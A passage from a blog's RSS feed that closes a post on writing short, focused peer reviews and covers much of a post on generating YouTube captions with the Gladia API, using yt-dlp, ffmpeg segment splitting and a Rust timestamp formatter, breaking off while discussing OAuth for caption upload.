  &lt;p&gt;Attempt this and you will quickly discover that this is really not
very much text to get your feedback across. Even if you permit
yourself to go a few sentences over, you will feel like you have so
much more to say. Filing down the text often takes a significant
amount of time, as nicely expressed in the &lt;a href=&quot;https://quoteinvestigator.com/2012/04/28/shorter-letter/&quot;&gt;oft-misquoted words of
Blaise Pascal&lt;/a&gt;: “I have made this longer than usual because I have not
had time to make it shorter”. &lt;strong&gt;It takes me about an hour to write one
review.&lt;/strong&gt;&lt;/p&gt;

  &lt;p&gt;Remember, the review recipient can ask you for more context if they
need it! Don’t exhaustively describe evidence for every point; refer
to data concisely and instead supply details as needed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;two-take-aways-is-too-many&quot;&gt;Two take-aways is too many&lt;/h1&gt;

&lt;p&gt;What do you remember of the last review you received? Do you remember
concretely what learnings or advice you took away from it? Reviews, like
much of the content we consume (what do you remember of the last
presentation you watched?), disappears into some black hole in our
brains, never to be recalled again. This is partially related to the
length of the content – I know if I’m given a single page of
information, I’ll be lucky if we remember a fraction of what was on it
even a week later. But much of it comes down to information overload. If
the entire text on that single page served to make a single point like,
say, “deer are the worst animal”, I’d be much more likely to remember
that one point a week later!&lt;/p&gt;

&lt;p&gt;Reviews work the same way. If you want the reader to remember the
feedback you’ve given, whether positive or negative, you need to give
less of it. Much less. My rule of thumb is that humans usually remember
(at most) one big and one small thing from any given piece of content
they’re presented with. And worse yet, the scaling is negative beyond
that point: if you make three points, the recipient will probably
remember only one. If you make four, they’ll remember nothing.&lt;/p&gt;

&lt;p&gt;Concretely, this means that when you’re writing reviews, you’ll usually
get a lot further in terms of helping the other person by presenting one
main thing they do really well or would benefit significantly from
improving upon, and one smaller thing that you appreciate or think is
getting in their way. That’s all you get, no matter how much you’d like
to list out the twelve reasons they’re excellent or the dozen things
that are holding them back.&lt;/p&gt;

&lt;p&gt;Getting down to the most impactful 1.5 points to raise, you guessed it,
takes time and effort. You’ll usually want to take the set of &lt;em&gt;all&lt;/em&gt;
things you’d want to include and look for patterns in them. Then look
for patterns in the patterns. Distil the points until any further
generalisation would make them useless, and then pick the one you think
is &lt;em&gt;most&lt;/em&gt; important to convey. Then pick one to mention with just a
couple of sentences at the end (see where I got a paragraph and a half
from?). File the rest away as feedback you might give next time around
– including them, no matter how tempting, is very likely to be
counter-productive.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;And before you say anything, yes, I know, this post already makes more
than a point and a half.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&quot;further-reading&quot;&gt;Further reading&lt;/h1&gt;

&lt;p&gt;Many smart people have written many smart things on many facets of this
subject. Repeating them all here would be an exercise in futility, but
here are some you may find valuable as next steps:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.goodreads.com/book/show/18114120-thanks-for-the-feedback&quot;&gt;Thanks for the Feedback: The Science and Art of Receiving Feedback Well&lt;/a&gt; (book)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://jvns.ca/blog/brag-documents/&quot;&gt;Get your work recognized: write a brag document&lt;/a&gt; (blog post)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Mon, 12 Aug 2024 13:57:29 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/writing-about-people-to-people/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/writing-about-people-to-people/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>Captioning all my YouTube videos with AI</title>
        <description>&lt;p&gt;Every month or two, I get an email asking whether I could enable
captions on &lt;a href=&quot;https://www.youtube.com/@jonhoo&quot;&gt;my YouTube videos&lt;/a&gt;. I also get asked &lt;a href=&quot;https://twitter.com/junderwood4649/status/1603990798965833728&quot;&gt;on Twitter&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/rust/comments/xzaljf/comment/irlwgjt/?context=3&quot;&gt;on
Reddit&lt;/a&gt;, and even &lt;a href=&quot;https://news.ycombinator.com/item?id=37946887&quot;&gt;on the orange site&lt;/a&gt;. Unfortunately, every time
I’m forced to give the same answer: I already have auto-captioning
enabled on my videos, but for some reason YouTube sometimes simply &lt;em&gt;does
not generate&lt;/em&gt; captions. The most common case appears to be because the
video is too long (somewhere around 2h), but I’ve seen it happen for
shorter videos as well.&lt;/p&gt;

&lt;p&gt;Each time I give that reply, it makes me sad. It means that someone who
expressed an interest in learning from my videos was (at least in part)
prevented from doing so, and that sucks. So, with the last email I got,
I decided to finally do something about it.&lt;/p&gt;

&lt;p&gt;Ages ago, a co-worker of mine suggested I might be able to use AI to
generate captions for my videos. There are a bunch of such services
around these days, but the one he linked me to was &lt;a href=&quot;https://www.gladia.io?utm_source=Twitter&amp;amp;utm_medium=Community&amp;amp;utm_campaign=jonhoo&amp;amp;utm_content=landing&quot;&gt;Gladia&lt;/a&gt;. So when I
finally decided to generate captions for all my videos, that’s where I
started. &lt;a href=&quot;https://docs.gladia.io/reference/pre-recorded&quot;&gt;The API&lt;/a&gt; is pretty straightforward: you send them a video or
audio file (or even a YouTube URL), and they return a list of captions,
each with an associated start time and end time&lt;sup id=&quot;fnref:long-captions&quot;&gt;&lt;a href=&quot;#fn:long-captions&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. That
list can then pretty easily be turned into SRT or VTT caption files
(Gladia also supports &lt;a href=&quot;https://docs.gladia.io/reference/export-srt-or-vtt-caption-files&quot;&gt;producing them directly&lt;/a&gt;, though I didn’t
use that feature). Seemed easy enough!&lt;/p&gt;

&lt;p&gt;Unfortunately, it turns out that Gladia (and many other similar
platforms) have a &lt;a href=&quot;https://docs.gladia.io/reference/limitations-and-best-practices&quot;&gt;max limit&lt;/a&gt; on the length of the file they are able to
caption. For Gladia, it’s currently 135 minutes (though &lt;a href=&quot;https://docs.gladia.io/reference/limitations-and-best-practices#splitting-oversize-audio-files&quot;&gt;they recommend&lt;/a&gt;
you split your audio files into ~60 minutes chunks). Now, if you’ve
watched my videos, you know that most of them are longer than that, so
some smartness was needed (more on that in a second).&lt;/p&gt;

&lt;p&gt;I also faced another issue: my video backlog is somewhere around 250
hours of video. At the time of writing, Gladia &lt;a href=&quot;https://www.gladia.io/pricing&quot;&gt;charges €0.000193 per
second&lt;/a&gt; of audio (which seems to be roughly where the industry
has landed), which works out to €174. That’s not nothing, especially
with a bit of trial and error needed to get the aforementioned splitting
right. Luckily, when I reached out to them pointing out that I wanted to
caption a bunch of programming teaching resources, and was willing to
share my experience and code afterwards, they graciously agreed to cover
the cost of the bulk encoding. Yay!&lt;/p&gt;

&lt;p&gt;With that out of the way, let’s get to the how. You can also just look
at &lt;a href=&quot;https://github.com/jonhoo/gladia-captions&quot;&gt;the code&lt;/a&gt; directly if you want!&lt;/p&gt;

&lt;h1 id=&quot;generating-captions-for-long-videos&quot;&gt;Generating captions for long videos&lt;/h1&gt;

&lt;p&gt;My videos vary a fair bit in length. The shortest are 60-90m (so within
the Gladia length limit), while &lt;a href=&quot;https://youtu.be/zGS-HqcAvA4&quot;&gt;the longest one is 7h20m&lt;/a&gt;. Some
may call that too long, but that’s outside the scope of this. This
raises the question: how do you generate captions for a 7 hour long
video in bursts of approximately 60 minutes? The naive approach is to
just split the video in 60 minute chunks, caption each one
independently, and then join them together, but this presents a few
problems:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;You may cut the video mid-sentence, leading to a broken caption.&lt;/li&gt;
  &lt;li&gt;You may cut the video during a short silence where the next caption
should follow on from a sentence just before the silence. Splitting
here would lead to odd-looking captions where the next caption
appears to start a new sentence.&lt;/li&gt;
  &lt;li&gt;Depending on how you cut, you may end up with slightly-offset
captions in later segments if the cutting isn’t using precise time
codes.&lt;/li&gt;
  &lt;li&gt;You may end up with “weird ends” where the last segment is only a few
seconds long, possibly without any captions. This isn’t inherently a
problem, though it does mean that progress can appear kind of random.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Instead, you have to be slightly smarter about how you cut. Here’s what
I landed on.&lt;/p&gt;

&lt;p&gt;First, get the audio file for the video locally somehow. If it’s a
YouTube video, you can use a tool like &lt;a href=&quot;https://github.com/yt-dlp/yt-dlp&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yt-dlp&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://ytdl-org.github.io/youtube-dl/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yt-download&lt;/code&gt;&lt;/a&gt; to grab it:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;yt-dlp &lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;bestaudio&apos;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://www.youtube.com/watch?v=kCj4YBZ0Og8&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In my case, I have the files for all my videos locally, so I just used
those.&lt;/p&gt;

&lt;p&gt;Next, take the length of the video and divide it by 60 minutes. Round
that number up to the nearest integer value. Then divide the length of
the video by that value (call that value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seg&lt;/code&gt;). That’s how long we’ll
make each segment.&lt;/p&gt;

&lt;p&gt;Then, extract the first segment (of length &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seg&lt;/code&gt;) with&lt;sup id=&quot;fnref:server-split&quot;&gt;&lt;a href=&quot;#fn:server-split&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ffmpeg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$audiofile&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-vn&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt;:a libopus &lt;span class=&quot;nt&quot;&gt;-b&lt;/span&gt;:a 192k &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; ogg &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$seg&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;It’s tempting to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-acodec copy&lt;/code&gt; here, but don’t — it leads to
&lt;a href=&quot;https://superuser.com/questions/1461606/ffmpeg-ss-supported-formats-for-accurate-seeking-mp3-does-not-appear-to-work&quot;&gt;inaccurate cutting&lt;/a&gt;. We need to mux to get exactly-accurate cuts of
the audio. So, we export to Opus audio in an Ogg container — it is
modern, compact, and has good encoders. FLAC would be nice, but hits
the 500MB file size limit too often. I decided against AAC since some
AAC encoders are &lt;em&gt;really&lt;/em&gt; bad.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Later segments can be extracted with:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ffmpeg &lt;span class=&quot;nt&quot;&gt;-ss&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$start&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$audiofile&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-vn&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt;:a libopus &lt;span class=&quot;nt&quot;&gt;-b&lt;/span&gt;:a 192k &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; ogg &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$seg&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the &lt;em&gt;last&lt;/em&gt; segment has to be extracted without the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-t&lt;/code&gt; flag
to make up for any rounding errors!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Sometimes, the audio stream in a video has a delay relative to the
video stream. This might be to correct audio/video sync, or to make an
intro sound line up with the visuals. This makes things weird because
the caption timestamps are relative to the &lt;em&gt;video&lt;/em&gt;. You can check
whether this is the case for a given video file with this command:&lt;/p&gt;

  &lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;ffprobe &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$videofile&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; -show_entries stream=start_time &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;    -select_streams a -hide_banner -of default=noprint_wrappers=1:nokey=1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;

  &lt;p&gt;If this prints anything but 0, you’ll have to adjust the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffmpeg&lt;/code&gt;
invocation for the &lt;em&gt;first&lt;/em&gt; segment to include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-af
adelay=$offset_in_ms&lt;/code&gt;.&lt;/p&gt;

  &lt;p&gt;Note you have to have both the audio &lt;em&gt;and&lt;/em&gt; video to run this command,
so remove &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-x -f &apos;bestaudio&apos;&lt;/code&gt; if you’re grabbing a YouTube video that
might have such a delay.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But, how do you set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$start&lt;/code&gt; for each segment?&lt;/p&gt;

&lt;p&gt;First, ship the extracted audio segment to the Gladia API. Then, in the
&lt;a href=&quot;https://docs.gladia.io/reference/response-format&quot;&gt;captions you get back&lt;/a&gt;&lt;sup id=&quot;fnref:big-json&quot;&gt;&lt;a href=&quot;#fn:big-json&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, walk &lt;em&gt;backwards&lt;/em&gt; from the last caption,
and look for the largest inter-caption gap in, say, the last 30 seconds
of the segment. The intuition here is that the longest gap is the one
least likely to be in the middle of a sentence. You can also improve
this heuristic to look at what the caption immediately before the gap
ends with. For example, if it ends with “,” or “…”, maybe skip that gap
as the next caption is probably related and shouldn’t be split apart.&lt;/p&gt;

&lt;p&gt;Once you’ve found that gap, set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$start&lt;/code&gt; to be the time half-way through
that gap. Discard all captions that follow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$start&lt;/code&gt; from the current
segment, then repeat the whole process for the next segment. Keep in
mind that for all captions you get back from the API need to have
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$start&lt;/code&gt; added to their time codes!&lt;/p&gt;

&lt;p&gt;Once you have all the captions from all the segments, all that remains
is to write them out into the SVT format (one of the caption file
formats that YouTube supports). The format is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
$number
$caption.time_begin --&amp;gt; $caption.time_end
$caption.transcription
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$number&lt;/code&gt; starts at 1 for the first caption and increases by one
for each subsequent caption, and the timestamps are printed like this:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;seconds_to_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fracs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;f64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fracs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;i64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;assert!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fracs&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.fract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;format!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{:.3}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.strip_prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nd&quot;&gt;format!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;,{frac}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1.000&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 0.9995 would be truncated to 1.000 at {:.3}&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;,999&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frac&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// integral number of seconds&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;,000&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nd&quot;&gt;unreachable!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;bad fractional second: {} -&amp;gt; {frac}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fracs&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.fract&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;format!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{h:02}:{m:02}:{s:02}{frac}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the SVT format is pretty strict. You &lt;em&gt;must&lt;/em&gt; have an empty line
between each caption, you must give them consecutive sequence numbers
starting at 1, you must use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--&amp;gt;&lt;/code&gt;, and you must format the sequence
numbers with exactly three fractional digits.&lt;/p&gt;

&lt;p&gt;I’ve coded up this whole process in this project on GitHub:
&lt;a href=&quot;https://github.com/jonhoo/gladia-captions&quot;&gt;https://github.com/jonhoo/gladia-captions&lt;/a&gt;. I’ve also filed &lt;a href=&quot;https://gladia-stt.nolt.io/23&quot;&gt;a feature
request&lt;/a&gt; for Gladia to support something like this
natively.&lt;/p&gt;

&lt;h1 id=&quot;mapping-video-files-back-to-youtube&quot;&gt;Mapping video files back to YouTube&lt;/h1&gt;

&lt;p&gt;If all you wanted to do was play someone else’s YouTube file with
captions, then you’re basically done. Just pass the SRT file to your
video player along with the YouTube URL (if it supports it) or the video
file you downloaded, and you’re good to go.&lt;/p&gt;

&lt;p&gt;If, like me, you want to update the YouTube video’s captions, you next
need to figure out which YouTube video each caption belongs to. If you
downloaded the audio from YouTube originally, or have a neatly organized
video backup archive, then this is trivial. In my case, my local video
archive only has video category and the recording time of the video, so
there’s no real connection to the originating YouTube video. So, I had
to also find a way to map the videos back to their respective YouTube
upload.&lt;/p&gt;

&lt;p&gt;To do this, I wrote a program that first queries the YouTube API for all
my videos and extracts their id, title, publication date, and duration.
Then, it walks all the video files in a given directory and determines
their timestamp (from the file name) and duration (using &lt;a href=&quot;https://docs.rs/symphonia/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;symphonia&lt;/code&gt;&lt;/a&gt;).
Finally, for each local file, it checks if any of the YouTube videos
have a duration that differs in at most single-digit seconds, and has a
publication date that differs by at most a day. If any such video is
found, it associates the two, and outputs the YouTube id and title in
the name of the caption file for that local file.&lt;/p&gt;

&lt;h1 id=&quot;uploading-the-captions&quot;&gt;Uploading the captions&lt;/h1&gt;

&lt;p&gt;Armed with the caption files &lt;em&gt;and&lt;/em&gt; the mapping back to YouTube videos, I
really wanted to automate the process of uploading the captions as well.
It’s not too important for captioning new videos, but when doing the
backlog of almost 80 videos, that’s a lot of clicking through the
YouTube studio API. Now, there &lt;em&gt;is&lt;/em&gt; &lt;a href=&quot;https://developers.google.com/youtube/v3/docs/captions/insert&quot;&gt;an API for uploading
captions&lt;/a&gt;, but unfortunately there are two complications:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It accesses private data, which requires &lt;a href=&quot;https://developers.google.com/youtube/v3/guides/authentication&quot;&gt;OAuth 2.0
authentication&lt;/a&gt;. A simple API key won’t do it. It’s totally
possible to implement OAuth 2.0 authentication from a command-line
